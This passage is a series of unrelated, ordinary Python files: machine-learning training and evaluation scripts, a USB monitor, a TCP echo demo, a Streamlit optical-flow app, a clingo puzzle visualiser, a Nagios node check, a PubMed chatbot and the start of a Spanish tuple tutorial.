        os.mkdir(exp_args['saveDir'])
    net, linear_fc = get_network(pre=False, num_classes=12)

    rng = np.random.default_rng(0)
    s = 1
    color_jitter = transforms.ColorJitter(0.8 * s, 0.8 * s, 0.8 * s, 0.2 * s)
    train_transform = transforms.Compose([transforms.ToPILImage(), transforms.Resize(224), color_jitter,
                                          transforms.RandomCrop(size=224, padding=25),
                                          transforms.RandomGrayscale(p=0.2),
                                          transforms.RandomHorizontalFlip(p=0.5),
                                          transforms.ToTensor(),
                                          transforms.Normalize(mean, std)])
    test_transform = transforms.Compose([transforms.ToPILImage(), transforms.Resize(224), transforms.ToTensor(),
                                         transforms.Normalize(mean, std)])

    trainData = dataloader_supervised.data_loader(root="../data/", rng=rng, train=True,
                                                  hypertune=exp_args['hypertune'],
                                                  transform=train_transform, fraction=exp_args['fraction'])

    testData = dataloader_supervised.data_loader(root="../data/", rng=rng, train=False,
                                                 hypertune=exp_args['hypertune'],
                                                 transform=test_transform)

    train(network=net, classifier=linear_fc, train_data=trainData, test_data=testData, args=exp_args)


# -*- coding: utf-8 -*-

import pyudev
from pyudev import Context, Monitor, MonitorObserver
from PyQt4.QtCore import QObject, SIGNAL
from logrecord import LogRecord

class Udev(QObject):

    def __init__(self):
        super(Udev, self).__init__()

    def monitor_async(self, subsystems, device_type, callbak):
        context = Context()
        monitor = Monitor.from_netlink(context)
        monitor.filter_by(subsystems)
        def device_event(device):
            self.emit(SIGNAL("signal_udev"), device)
            if callbak != None:
                callbak(device)
        try:
            self.observer = MonitorObserver(monitor, callback=device_event, name='udev-monitor-observer')
            self.observer.daemon
            self.observer.start()
            #observer.stop()
        except Exception as e:
            LogRecord.instance().logger.info(u'USB监听启动异常(%s)'%(str(e)))

    def monitorStop(self):
        try:
            self.observer.stop()
        except Exception as e:
            pass


import click

from pytcp.controller import Controller

def client(controller):
    print("client")
    socket = controller.socket()
    socket.bind("10.0.0.10", 30000)
    socket.connect("10.0.0.11", 40000)

    while True:
        text = input()
        socket.send(text.encode("utf-8"))
        out = socket.recv()
        print(out)

def server(controller):
    print("server")
    socket = controller.socket()
    socket.bind("10.0.0.11", 40000)
    socket.listen()

    connection_socket = socket.accept()

    while True:
        data = connection_socket.recv()
        connection_socket.send(reversed(data))

@click.command()
@click.option("-r", "--run", help="run in selected mode")
def main(run):
    controller = Controller()
    if run == "client":
        client(controller)
    else:
        server(controller)

if __name__ == "__main__":
    main()


import os
import json
import argparse
import numpy as np
import pandas as pd
import tensorflow as tf

from tqdm import tqdm
from typing import List, Dict
from tensorflow.keras import models, optimizers

from models.neural_models import DAN, DFN, GRU
from util.model_util import save_model, load_model
from data import swap_key_values, load_eval_data, load_glove_embeddings, process_data, generate_batches

def eval(model: models.Model, eval_batches: List) -> tf.keras.Model:
    total_eval_loss = 0
    total_correct_predictions, total_predictions = 0, 0
    generator_tqdm = tqdm(eval_batches)
    for index, (batch_inputs, batch_labels) in enumerate(generator_tqdm):
        logits = model(batch_inputs, training=False)
        loss_value = tf.reduce_mean(tf.nn.sparse_softmax_cross_entropy_with_logits(batch_labels, logits))
        total_eval_loss += loss_value
        batch_predictions = tf.math.argmax(tf.nn.softmax(logits, axis=-1), axis=-1)
        total_correct_predictions += tf.math.reduce_sum(tf.cast(batch_predictions == batch_labels, dtype=tf.int64))
        total_predictions += batch_labels.get_shape()[0]
        description = ("Average evaluation loss: %.2f Accuracy: %.2f "
                        % (total_eval_loss/(index+1), total_correct_predictions/total_predictions))
        generator_tqdm.set_description(description, refresh=False)
    average_loss = total_eval_loss / len(eval_batches)
    eval_accuracy = total_correct_predictions/total_predictions
    print('Final evaluation accuracy: %.4f loss: %.4f' % (eval_accuracy, average_loss))

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="""Script to evaluate a trained model on data.""")
    parser.add_argument('model', help='Path to trained model directory')
    parser.add_argument('--test', help='Path to evaluation data.', default=r'./data/test.csv')
    parser.add_argument('--labels', help='Path to label dictionary.', default=r'./data/answers.json')

    args = parser.parse_args()
    data, label_to_id = load_eval_data(args.test, args.labels)
    print('\nLoading test data...')
    model, model_config, vocab, reverse_vocab = load_model(args.model)
    test_X, test_Y, vocab, reverse_vocab = process_data(
        data,
        label_to_id,
        vocab=vocab,
        vocab_size=model_config['vocab_size']
    )
    print('Test data loaded.')
    batch_size = 32
    batches = generate_batches(test_X, test_Y, batch_size)
    print('Batches finished generating.')
    train_result = eval(model, batches)


import os
from typing import List

import pandas as pd
from pandas import MultiIndex

from src.evaluation._data_loader import PredictionData, InfeasibleTargetFPRException, CASE_STUDIES

KEY_LOCAL_BASELINE = "0.00 (local_baseline)"
KEY_REMOTE_BASELINE = "1.00 (remote_baseline)"

def _ep_key(eval_point):
    return f"{eval_point[0]:.2f} ({eval_point[1]})"

def build_empty_table(case_studies: List[PredictionData]):
    rows = []
    for case_study in case_studies:
        for target_fpr in case_study.target_fprs:
            rows.append((case_study.case_study_name, target_fpr, KEY_LOCAL_BASELINE))
            for eval_point in case_study.eval_points.items():
                rows.append((case_study.case_study_name, target_fpr, _ep_key(eval_point)))
            # Works, but was not part of the registered report
            rows.append((case_study.case_study_name, target_fpr, KEY_REMOTE_BASELINE))

    frame = pd.DataFrame(
        columns=["remote_delta", "sys_delta", "sys_obj", "sys_s05", "sys_s1", "sys_s2"],
        index=MultiIndex.from_tuples(rows, names=["case_s", "target_fpr", "1st_reject_rate"])
    )

    frame.sort_index()

    return frame

def fill_table_for_case_study(case_study: PredictionData, tab: pd.DataFrame):
    cs_name = case_study.case_study_name
    for target_fpr in case_study.target_fprs:
        # Adding this now saves us from sorting later

        for ep in case_study.eval_points.items():
            try:
                bisup_res = case_study.bisupervised_supervision(local_cutoff=ep[0], target_fpr=target_fpr)
                tab.loc[(cs_name, target_fpr, _ep_key(ep)), "remote_delta"] = bisup_res["2nd_level_acceptance_rate"]
                tab.loc[(cs_name, target_fpr, _ep_key(ep)), "sys_delta"] = bisup_res["system_acceptance_rate"]
                tab.loc[(cs_name, target_fpr, _ep_key(ep)), "sys_obj"] = bisup_res["system_supervised_perf"]
                tab.loc[(cs_name, target_fpr, _ep_key(ep)), "sys_s05"] = bisup_res["s_05"]
                tab.loc[(cs_name, target_fpr, _ep_key(ep)), "sys_s1"] = bisup_res["s_1"]
                tab.loc[(cs_name, target_fpr, _ep_key(ep)), "sys_s2"] = bisup_res["s_2"]
            except InfeasibleTargetFPRException:
                tab.loc[(cs_name, target_fpr, _ep_key(ep)), "remote_delta"] = "infeasible"
        for model, baseline_name in (
                ("local", KEY_LOCAL_BASELINE),
                ("remote", KEY_REMOTE_BASELINE)  # Works, but was not part of the registered report
        ):
            sup_res = case_study.monosupervised_supervision(target_fpr, model)
            tab.loc[(cs_name, target_fpr, baseline_name), "sys_delta"] = sup_res["system_acceptance_rate"]
            tab.loc[(cs_name, target_fpr, baseline_name), "sys_obj"] = sup_res["system_supervised_perf"]
            tab.loc[(cs_name, target_fpr, baseline_name), "sys_s05"] = sup_res["s_05"]
            tab.loc[(cs_name, target_fpr, baseline_name), "sys_s1"] = sup_res["s_1"]
            tab.loc[(cs_name, target_fpr, baseline_name), "sys_s2"] = sup_res["s_2"]

def table_to_latex(t: pd.DataFrame, case_study: PredictionData):
    t = t.round(2)
    t = t.fillna("n/a")

    # Drop all rows that are not part of the case study
    t = t.loc[t.index.get_level_values("case_s") == case_study.case_study_name]

    # Dont include remote-only baselines
    t = t.loc[t.index.get_level_values("1st_reject_rate") != KEY_REMOTE_BASELINE]

    # Remove the case study column
    t = t.droplevel("case_s")

    ls = t.to_latex()

    # Replace 1st level key names
    ls = ls.replace("local\_baseline", "baseline"). \
        replace("remote\_baseline", "remote-only").replace("(default)", "")

    # Replace header names
    ls = ls.replace("case\_s", "study")
    ls = ls.replace("target\_fpr", "FPR")
    ls = ls.replace("1st\_reject\_rate", "remote requests")
    ls = ls.replace("remote\_delta", r"remote $\Delta$")
    ls = ls.replace("sys\_delta", r"$\Delta$")
    ls = ls.replace("sys\_obj", r"$\overline{obj}$")
    ls = ls.replace("sys\_s05", r"$S_{0.5}$")
    ls = ls.replace("sys\_s1", r"$S_1$")
    ls = ls.replace("sys\_s2", r"$S_2$")

    # ls = ls.replace("imdb", r"\multirow{15}{*}{\verti{Imdb}}")
    # ls = ls.replace("Issues", r"\multirow{15}{*}{\verti{Issues}}")
    # ls = ls.replace("ImageNet", r"\multirow{15}{*}{\verti{ImageNet}}")
    # ls = ls.replace("SQuADv2 (possible only)", r"\multirow{12}{*}{\verti{SQuADv2\\(possible only)}}")
    # ls = ls.replace("SQuADv2 (all)", r"\multirow{12}{*}{\verti{SQuADv2\\(all)}}")

    num_rows_per_fpr = len(case_study.eval_points) + 1
    ls = ls.replace("0.01", r"\multirow{" + str(num_rows_per_fpr) + r"}{*}{\verti{0.01}}")
    ls = ls.replace("0.05", r"\midrule \multirow{" + str(num_rows_per_fpr) + r"}{*}{\verti{0.05}}")
    ls = ls.replace("0.10", r"\midrule \multirow{" + str(num_rows_per_fpr) + r"}{*}{\verti{0.10}}")

    ls = ls.replace("lllrrrrr", "llcccccc")

    latex_pretext = r"""
    \begin{table}
    \newcommand{\verti}[1]{\begin{tabular}{@{}c@{}}\rotatebox[origin=c]{90}{\parbox{1cm}{\centering #1}}\end{tabular}}
    """

    latex_posttext = f"""
    \\caption{{System-Level Supervised Assessment for {case_study.case_study_name}}}
    \\label{{tab:rq2_res_{case_study.case_study_name}}}
    \\end{{table}}
    """
    return latex_pretext + ls + latex_posttext

if __name__ == '__main__':
    table = build_empty_table(CASE_STUDIES)
    for case_study in CASE_STUDIES:
        fill_table_for_case_study(case_study, table)

    table.to_csv("/generated/results/rq2_table.csv")
    #

    # ========
    # Create latex tables
    # ========
    table = pd.read_csv("/generated/results/rq2_table.csv", index_col=[0, 1, 2])
    tex_folder = "/generated/results/rq2_tex_tables/"
    if not os.path.exists(tex_folder):
        os.makedirs(tex_folder)

    for case_study in [cs for cs in CASE_STUDIES]:
        ltex = table_to_latex(table, case_study)
        with open(f"{tex_folder}rq2_table_{case_study.case_study_name}.tex", "w") as f:
            f.write(ltex)


import streamlit as st
import cv2
import numpy as np
from PIL import ImageColor
import os

def viz_flow(img, flow, step=32, color=(0, 255, 0), dot_radius=1):
    height, width = img.shape[:2]  # Get the height and width of image frame
    y, x = np.mgrid[step/2:height:step, step /
                    2:width:step].reshape(2, -1).astype(int)  # Define a 2D meshgrid
    fx, fy = flow[y, x].T  # Extracting x and y component of the flow-field
    lines = np.vstack([x, y, x-fx, y-fy]).T.reshape(-1, 2, 2)
    lines = np.int32(lines + 0.5)
    # Conversion from Gray to BGR
    img_bgr = cv2.cvtColor(img, cv2.COLOR_GRAY2BGR)
    whiteFrame = 255 * \
        np.ones((img_bgr.shape[0], img_bgr.shape[1], 3), np.uint8)
    cv2.polylines(whiteFrame, lines, 10, color)
    cv2.polylines(img_bgr, lines, 10, color)

    for (x1, y1), (_x2, _y2) in lines:
        cv2.circle(whiteFrame, (x1, y1), dot_radius, color, -1)
        cv2.circle(img_bgr, (x1, y1), dot_radius, color, -1)

    return whiteFrame, img_bgr

def main():

    # Introduction to Optical Flow

    st.title("Visualize Optical Flow ")
    st.subheader("Built with OpenCV and Streamlit")

    st.markdown('> #### Created by Dibaloke Chanda')

    st.markdown("""---""")

    st.markdown("> *Optical flow or optic flow is the pattern of apparent motion of objects, surfaces, and edges in a visual scene caused by the relative motion between an observer and a scene.*")

    st.text('Optical Flow Equation')

    st.latex(r'''
 \frac{\partial I}{\partial x} u+\frac{\partial I}{\partial y} v+\frac{\partial I}{\partial t}=0
    ''')

    with st.expander("See explanation"):
        st.image("of1.png")

        st.image("of2.png")

        st.text("Assuming constant pixel intensity")
        st.latex(r''' I(x, y, t)=I(x+\delta x, y+\delta y, t+\delta t) ''')

        st.text("Approximating with an Taylor series expansion:")

        st.latex(
            r''' I(x+\delta x, y+\delta y, t+\delta t)=I(x, y, t)+\frac{\partial I}{\partial x} \delta x+\frac{\partial I}{\partial y} \delta y+\frac{\partial I}{\partial t} \delta t''')

        st.latex(r''' I(x+\delta x, y+\delta y, t+\delta t)- I(x, y, t)= \frac{\partial I}{\partial x} \delta x+\frac{\partial I}{\partial y} \delta y+\frac{\partial I}{\partial t} \delta t
        ''')
        st.latex(r'''

        \frac{\partial I}{\partial x} \delta x+\frac{\partial I}{\partial y} \delta y+\frac{\partial I}{\partial t} \delta t =0

        ''')

        st.latex(r''' Dividing \ \  by  \ \ \delta t''')

        st.latex(
            r''' \frac{\partial I}{\partial x} u+\frac{\partial I}{\partial y} v+\frac{\partial I}{\partial t}=0 ''')

        st.latex(
            r''' where, \  \  u= \frac{dx}{dt} \ \  and \  v= \frac{dy}{dt} ''')
    st.markdown("""---""")

    st.subheader("Dense Optical Flow (Gunnar-Farneback Algorithm)")
    st.markdown("""---""")
    st.markdown("> **Webcam Implementation**")
    # Capture the Firstframe
    cap = cv2.VideoCapture(0)
    suc, prev = cap.read()
    prev_frame = cv2.cvtColor(prev, cv2.COLOR_BGR2GRAY)

 # Options for Parameter Selection

    options = st.radio(
        "What do you want to visualize ?",
        ('Flow Field + Image', 'Only Flow Field', 'Both'))

    col1, col2, col3 = st.columns(3)

    with st.expander('See explanation'):

        st.markdown(
            "+ **Pick a suitable color**: Choose a color depending on your background and lighting condition")
        st.markdown(
            "+ **Sparsity** : For High value more sparse field, for low value more dense field")

    with col1:
        color = st.color_picker(
            'Pick a suitable color', '#f90004', "visible")
    with col2:
        steps = st.slider('Sparsity', min_value=8,
                          max_value=64, value=16, step=1)
    with col3:
        dot_radius = st.slider('Dot Radius', min_value=1,
                               max_value=3, value=1, step=1)

    color_rgb = ImageColor.getcolor(color, "RGB")
    FRAME_WINDOW2 = st.image([])
    FRAME_WINDOW1 = st.image([])

    # st.subheader("Adjust Parameters")

    st.markdown("""---""")
    st.markdown("> Uploaded Video Implementation")

    uploaded_video = st.file_uploader("Choose video", type=["mp4"])

    if uploaded_video is not None:  # run only when user uploads video
        vid = uploaded_video.name
        with open(vid, mode='wb') as f:
            f.write(uploaded_video.read())  # save video to disk
        vidcap = cv2.VideoCapture(vid)  # load video from disk

        # Find video metadata
        frame_count = int(vidcap.get(cv2.CAP_PROP_FRAME_COUNT))
        fps = vidcap.get(cv2.CAP_PROP_FPS)
        duration = frame_count/fps

        # cur_frame = 0
        # success = True

        st.video(uploaded_video, start_time=0)
        st.markdown("""---""")
        st.markdown(
            '> - Upload Low Resolution and Smaller clips for faster processing')

        st.markdown(
            '> - While Processing Video, Webcam implementation will be turned off. After processing completion, Webcam implementation will automatically turn on')
        st.markdown('> - Parameters can be changed on top')
        st.markdown(
            '> - Make sure you have ffmpeg installed and added to path. The following is code is being run to convert to "H264 codec" for browser compatibility')

        st.code(
            '''ffmpeg -i output.mp4 -vcodec libx264 output_streamlit.mp4''', language="bash")

        st.markdown("""---""")

        st.text('Total Number of Frames:'+str(frame_count))
        st.text('Video Duration:'+str(duration)+'second')
        st.text('FPS:'+str(fps))

        st.markdown("""---""")

        # my_bar = st.progress(0)

        # FRAME_WINDOW3 = st.image([])

        _, prev_video = vidcap.read()
        prev_frame_video = cv2.cvtColor(prev_video, cv2.COLOR_BGR2GRAY)
        h_video, w_video = prev_frame_video.shape[0], prev_frame_video.shape[1]
        frame_array = []
        frame_white_array = []

        with st.spinner('Processing Frames, Read the info above..'):
            for i in range(frame_count-1):
                _, frame_video = vidcap.read()  # get next frame from video
                frame_video = cv2.cvtColor(frame_video, cv2.COLOR_BGR2GRAY)
                flow_video = cv2.calcOpticalFlowFarneback(
                    prev_frame_video, frame_video, None, 0.5, 3, 15, 3, 5, 1.2, 0)
                prev_frame_video = frame_video

                temp = viz_flow(frame_video, flow_video, step=steps,
                                color=color_rgb, dot_radius=dot_radius)

                frame_array.append(temp[1])
                frame_white_array.append(temp[0])

        out = cv2.VideoWriter('output.mp4', cv2.VideoWriter_fourcc(
            *'mp4v'), fps, (w_video, h_video), True)

        out_white = cv2.VideoWriter('output_white.mp4', cv2.VideoWriter_fourcc(
            *'mp4v'), fps, (w_video, h_video), True)

        for i in range(frame_count-1):
            out.write(frame_array[i])
            out_white.write(frame_white_array[i])
        out.release()
        out_white.release()

        # st.text(type(skvideo.io.vread('output.mp4')))
        st.success('Done!')

        with st.spinner('Doing Codec conversion'):
            os.system(
                'ffmpeg -y -i output.mp4 -vcodec libx264 output_streamlit.mp4')
            os.system(
                'ffmpeg -y -i output_white.mp4 -vcodec libx264 output_white_streamlit.mp4')
        st.success('Done!')

        if options == 'Flow Field + Image':
            with open("output_streamlit.mp4", 'rb') as v:
                st.video(v)

        elif options == 'Only Flow Field':
            with open("output_white_streamlit.mp4", 'rb') as v:
                st.video(v)
        else:
            with open("output_streamlit.mp4", 'rb') as v:
                st.video(v)
            with open("output_white_streamlit.mp4", 'rb') as v:
                st.video(v)

   # Webcam Implementation

    while True:

        suc, img = cap.read()
        frame = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)

        flow = cv2.calcOpticalFlowFarneback(
            prev_frame, frame, None, 0.5, 3, 15, 3, 5, 1.2, 0)

        prev_frame = frame

        if options == 'Flow Field + Image':
            FRAME_WINDOW2.image(viz_flow(frame, flow, step=steps,
                                         color=color_rgb, dot_radius=dot_radius)[1])

        elif options == 'Only Flow Field':
            FRAME_WINDOW1.image(viz_flow(frame, flow, step=steps,
                                         color=color_rgb, dot_radius=dot_radius)[0])
        else:

            FRAME_WINDOW1.image(viz_flow(frame, flow, step=steps,
                                         color=color_rgb, dot_radius=dot_radius)[0])

            FRAME_WINDOW2.image(viz_flow(frame, flow, step=steps,
                                         color=color_rgb, dot_radius=dot_radius)[1])

if __name__ == '__main__':
    main()


import subprocess
import os, sys
from random import *
import tkinter
import traceback
import json
from timeit import default_timer as time
from math import floor, ceil

if len(sys.argv) != 3:
    print("usage: %s map.gif data.json" % sys.argv[0])
    sys.exit(-1)

_, MAP_FILENAME, DATA_FILENAME = sys.argv
PATH =  os.getcwd()

master = tkinter.Tk()

map_image = tkinter.PhotoImage(file=MAP_FILENAME)
image_width = map_image.width()
image_height = map_image.height()

canvas = tkinter.Canvas(master, width=image_width, height=image_height)
canvas.pack()

data = None
timestep = 1

def last_timestep(event):
    global timestep
    if timestep > 1:
        timestep -= 1
        start_time = time()
        # Move the character circles incrementally
        while time() - start_time < 1:
            last_time = timestep+1
            animate(last_time, 1 - (time() - start_time))
        redraw()

def next_timestep(event):
    global timestep
    global data
    if timestep < data["discover time"]:
        timestep += 1
        start_time = time()
        # Move the character circles incrementally
        while time() - start_time < 1:
            last_time = timestep-1
            animate(last_time, 1 - (time() - start_time))
        redraw()

def animate(last_time, progress):
    global data
    global timestep
    canvas.delete(tkinter.ALL)
    canvas.create_image((0,0), anchor=tkinter.NW, image=map_image)
    canvas.create_text(30, 30, text=round(timestep + progress * (last_time-timestep), 1))

    # Render a circle for each character
    offset = 0
    for person in data["people"]:
        move_from = None
        move_to = None
        for room in data["positions"][person]:
            if move_from != None and move_to != None:
                break
            if last_time in data["positions"][person][room]:
                move_from = room
            if timestep in data["positions"][person][room]:
                move_to = room
        if move_from is not None and move_to is not None:
            x_pos = data["rooms"][move_to]["coords"][0] + progress * (data["rooms"][move_from]["coords"][0] - data["rooms"][move_to]["coords"][0])
            y_pos = data["rooms"][move_to]["coords"][1] + progress * (data["rooms"][move_from]["coords"][1] - data["rooms"][move_to]["coords"][1])
            canvas.create_oval(x_pos-5,y_pos-5-offset,x_pos+5,y_pos+5-offset,outline=data["people"][person])
        offset += 2
    master.update()

def redraw():
    global data
    global timestep
    canvas.delete(tkinter.ALL)
    canvas.create_image((0,0), anchor=tkinter.NW, image=map_image)
    canvas.create_text(30, 30, text=float(timestep))

    # Render a circle for each character
    offset = 0
    for person in data["people"]:
        for room in data["positions"][person]:
            if timestep in data["positions"][person][room]:
                x_pos = data["rooms"][room]["coords"][0]
                y_pos = data["rooms"][room]["coords"][1]
                canvas.create_oval(x_pos-5,y_pos-5-offset,x_pos+5,y_pos+5-offset,outline=data["people"][person])
        offset += 2

    # Draw character dots

def write_instance():
    """ Read in input from data.txt and convert it to a problem instance

    Args:
        None
    """
    print("Generating problem instance...")
    global data
    # Load data.json
    data = json.load(open(DATA_FILENAME))
    # Open ins.lp
    f = open('ins.lp', 'w')
    # Write key info
    f.write("murdertime(" + str(data["murder time"]) + ").\n")
    f.write("discovertime(" + str(data["discover time"]) + ").\n")
    f.write("murderer(" + data["murderer"] + ").\n")
    f.write("victim(" + data["victim"] + ").\n\n")
    # Write people
    for person in data["people"]:
        f.write("person(" + person + ").\n")
    f.write("\n")
    # Write rooms
    for room in data["rooms"]:
        mintime = data["rooms"][room]["min"]
        maxtime = data["rooms"][room]["max"]
        f.write("room(" + room + ").\n")
        f.write("mintime(" + room + "," + str(mintime) + ").\n")
        f.write("maxtime(" + room + "," + str(maxtime) + ").\n")
    f.write("\n")
    # Write room connections
    for room in data["rooms"]:
        if room in data["connections"].keys():
            for next_room in data["connections"][room]:
                f.write("adj(" + room + "," + next_room + ").\n")
    f.write("\n")
    # Write room vision
    for room in data["rooms"]:
        if room in data["vision"].keys():
            for next_room in data["vision"][room]:
                f.write("vision(" + room + "," + next_room + ").\n")
    f.write("\n")
    # Write blocks
    for person in data["people"]:
        if person in data["block"].keys():
            for room in data["block"][person].keys():
                for next_room in data["block"][person][room]:
                    f.write("block(" + person + "," + room + "," + next_room + ").\n")
    f.write("\n")
    # Write pre-authored position data
    for person in data["people"]:
        if person in data["positions"].keys():
            for room in data["positions"][person].keys():
                for time in data["positions"][person][room]:
                    f.write("pre(" + str(time) + "," + person + "," + room + ").\n")
    f.write("\n")

def run_clingo():
    """ Run clingo and save the answer set to results.txt

    Args:
        None
    """
    print("Finding a solution...")
    # Let clingo do its thing
    command = 'clingo ins.lp enc.lp > results.txt'
    os.system(command)

def read_results():
    """ Read in the results from results.txt

    Args:
        None
    """
    print("Loading results...")
    global data
    # Open results.txt and skip the first four lines
    f = open('results.txt', 'r')
    for i in range(0,4):
        f.readline()
    # Get results string
    results = f.readline()
    # If the problem instance is satisfiable, append the results to the data dictionary
    satisfiable = f.read(11)
    f.close()
    if satisfiable == "SATISFIABLE":
        tokens = results.split()
        for token in tokens:
            token = token.replace("gen(","")
            token = token.replace(")","")
            time, person, room = token.split(",")
            if person not in data["positions"].keys():
                data["positions"][person] = {}
            if room not in data["positions"][person].keys():
                data["positions"][person][room] = []
            data["positions"][person][room].append(int(time))
    # Otherwise exit
    else:
        print("ERROR: The problem instance has no solutions.")
        sys.exit(-1)

if __name__ == '__main__':
    write_instance()
    run_clingo()
    read_results()
    redraw()

canvas.bind('<Button-1>', last_timestep)
canvas.bind('<Button-3>', next_timestep)
master.mainloop()


#!/usr/bin/env python
#
# OpenShift node status checker for Nagios/Opsview
# The node status is queried from kube-state-metrics using the metrics
# server URL and the metric name.
#

import requests
import sys
import time
import argparse
import socket
import re

NAGIOS_STATE_OK = 0
NAGIOS_STATE_WARNING = 1
NAGIOS_STATE_CRITICAL = 2
NAGIOS_STATE_UNKNOWN = 3

def exit_with_stats(exit_code, status):
    """
    Exits with the specified exit_code and outputs any stats in the format
    nagios/opsview expects.
    """
    current_time = time.ctime()

    if exit_code == NAGIOS_STATE_OK:
        output = 'OK | Status: ' + str(status) + ' - ' + str(current_time)
    elif exit_code == NAGIOS_STATE_WARNING:
        output = 'WARNING | Status: ' + str(status) + ' - ' + str(current_time)
    else:
        output = 'CRITICAL | Status: ' + str(status) + ' - ' + str(current_time)

    print(output)

    sys.exit(exit_code)

def main():

    parser = argparse.ArgumentParser(description='Nagios check for OpenShift node status.')
    parser.add_argument('--metrics_url',
                        help='The kube-state-metrics endpoint URL.',
                        dest='metrics_url',
                        default='http://kube-state-metrics.monitoring-infra.svc:8080/metrics')
    parser.add_argument('--metric_name',
                        help='The name of the variable featuring the node status.',
                        dest='metric_name',
                        default='kube_node_status_condition')
    args = parser.parse_args()

    try:
        metrics = requests.get(args.metrics_url)
        node_name = socket.gethostname()
        metric_pattern = args.metric_name + '{node="' + node_name + '",condition="Ready",status="(.*)"} 1'
        status = re.findall(metric_pattern, metrics.text)

        if status:
            if status[0] == 'true':
                node_status = 'Ready'
                exit_with_stats(NAGIOS_STATE_OK, node_status)
            elif status[0] == 'false':
                node_status = 'NotReady'
                exit_with_stats(NAGIOS_STATE_CRITICAL, node_status)
            else:
                node_status = 'Unknown'
                exit_with_stats(NAGIOS_STATE_WARNING, node_status)
        else:
            node_status = 'Node not found'
            exit_with_stats(NAGIOS_STATE_UNKNOWN, node_status)

    except requests.exceptions.RequestException as e:
        exit_with_stats(NAGIOS_STATE_CRITICAL, e)
    except Exception as e:
        exit_with_stats(NAGIOS_STATE_CRITICAL, e)

if __name__ == '__main__':
    main()


from langchain import OpenAI
from llama_index import (
    download_loader,
    GPTSimpleVectorIndex,
    ServiceContext,
    LLMPredictor,
    PromptHelper,
    QuestionAnswerPrompt,
    ComposableGraph,
    GPTListIndex,
)
from llama_index.langchain_helpers.agents import (
    LlamaToolkit,
    create_llama_chat_agent,
    IndexToolConfig,
    LlamaIndexTool,
    GraphToolConfig,
)
from llama_index.indices.query.query_transform.base import DecomposeQueryTransform
from typing import List
from langchain.chains.conversation.memory import ConversationBufferMemory

from langchain.chat_models import ChatOpenAI
from langchain.callbacks.base import CallbackManager
from langchain.callbacks.streaming_stdout import StreamingStdOutCallbackHandler

from contextlib import contextmanager, redirect_stdout
from io import StringIO
import streamlit as st
from dotenv import load_dotenv

load_dotenv()
# from streamlit import cache_resource
import os

OPENAI_API_KEY = os.environ.get("OPENAI_API_KEY")

PubMedReader = download_loader("PubmedReader")
loader = PubMedReader()

search_queries = ["fitness supplement"]

chat_chain = None
initialized = False

def define_toolkit(indexes: List[GPTSimpleVectorIndex]):
    summaries = [f"pubmed index {i}" for i in range(len(indexes))]
    llm_predictor = LLMPredictor(
        llm=OpenAI(temperature=0, max_tokens=1000, openai_api_key=OPENAI_API_KEY)
    )

    service_context = ServiceContext.from_defaults(llm_predictor=llm_predictor)
    # allows us to synthesize information across each index
    graph = ComposableGraph.from_indices(
        GPTListIndex,
        indexes,
        index_summaries=summaries,
        service_context=service_context,
    )

    # [optional] save to disk
    graph.save_to_disk("pubmed_graph_v3.json")

    decompose_transform = DecomposeQueryTransform(llm_predictor, verbose=True)
    graph = ComposableGraph.load_from_disk(
        "pubmed_graph_v3.json", service_context=service_context
    )
    # define query configs for graph
    query_configs = [
        {
            "index_struct_type": "simple_dict",
            "query_mode": "default",
            "query_kwargs": {
                "similarity_top_k": 1,
                # "include_summary": True
            },
            "query_transform": decompose_transform,
        },
        {
            "index_struct_type": "list",
            "query_mode": "default",
            "query_kwargs": {"response_mode": "tree_summarize", "verbose": True},
        },
    ]
    # graph config
    graph_config = GraphToolConfig(
        graph=graph,
        name=f"Graph",
        description="useful for when you want to answer queries about supplement research from pubmed",
        query_configs=query_configs,
        tool_kwargs={"return_direct": True},
    )
    index_configs = []
    for index in indexes:
        tool_config = IndexToolConfig(
            index=index,
            description=f"useful for when you want to answer queries about supplements and fitness.",
            tool_kwargs={"return_direct": True},
            index_query_kwargs={"similarity_top_k": 3},
            name=f"pubmed_index_v3",
        )
        index_configs.append(tool_config)

    tool_kit = LlamaToolkit(index_configs=index_configs, graph_configs=[graph_config])
    return tool_kit

def set_up_llama_chatbot_agent(indexes, memory):
    global initialized
    if initialized == True:
        return
    llm = OpenAI(
        openai_api_key=OPENAI_API_KEY,
        temperature=0,
        model_name="gpt-3.5-turbo",
        streaming=True,
        callback_manager=CallbackManager([StreamingStdOutCallbackHandler()]),
        verbose=True,
    )
    toolkit = define_toolkit(indexes)
    llama_chat_agent_chain = create_llama_chat_agent(
        toolkit=toolkit, memory=memory, llm=llm, verbose=True
    )
    # llama_chat_agent_chain.run
    chat_chain = llama_chat_agent_chain
    return chat_chain, memory

def load_papers_from_pubmed():
    documents = loader.load_data(search_query="fitness supplements", max_results=10)
    llm_predictor = LLMPredictor(
        llm=ChatOpenAI(
            openai_api_key=OPENAI_API_KEY, temperature=0, model_name="text-ada-002"
        )
    )
    # define prompt helper
    # set maximum input size
    max_input_size = 4096
    # set number of output tokens
    num_output = 256
    # set maximum chunk overlap
    max_chunk_overlap = 20
    prompt_helper = PromptHelper(max_input_size, num_output, max_chunk_overlap)

    service_context = ServiceContext.from_defaults(
        llm_predictor=llm_predictor, prompt_helper=prompt_helper
    )

    index = GPTSimpleVectorIndex.from_documents(
        documents, service_context=service_context
    )
    index.save_to_disk("pubmed_index_v3.json")
    print("saved!")
    return "docs are loaded! ask awaaaaay!"

def chat(query):
    return chat_chain.run(input=query)

@contextmanager
def st_capture(output_func):
    with StringIO() as stdout, redirect_stdout(stdout):
        old_write = stdout.write

        def new_write(string):
            ret = old_write(string)
            output_func(stdout.getvalue())
            return ret

        stdout.write = new_write
        yield

@st.cache_resource()
def initialize_chatbot():
    memory = ConversationBufferMemory(memory_key="chat_history")
    chat_chain, memory = set_up_llama_chatbot_agent(
        [GPTSimpleVectorIndex.load_from_disk("pubmed_index_v3.json")], memory
    )
    return chat_chain, memory

chat_chain, memory = initialize_chatbot()

print("memory", memory)

st.header("jim AI")
st.subheader(
    "a chatbot for fitness enthusiasts. Ask jim about fitness supplements, nutrition, and more!"
)
user_query = st.text_input("Ask jim")

output = st.empty()

if st.button("ask"):
    # with st_capture(output.write):
    #     chat(user_query)
    st.write(chat(user_query))

if st.button("load"):
    load_papers_from_pubmed()
    st.markdown("docs are loaded! ask awaaaaay!")


#Tupla puede tener varios tipos de datos y son innalterables

#indice parte desde el 0 a n-1 y tambien acepta indicies negativos

miTupla = (1,2,3,4,5,6,7,8,9,10)

#acceder a un elemento de la tuipla
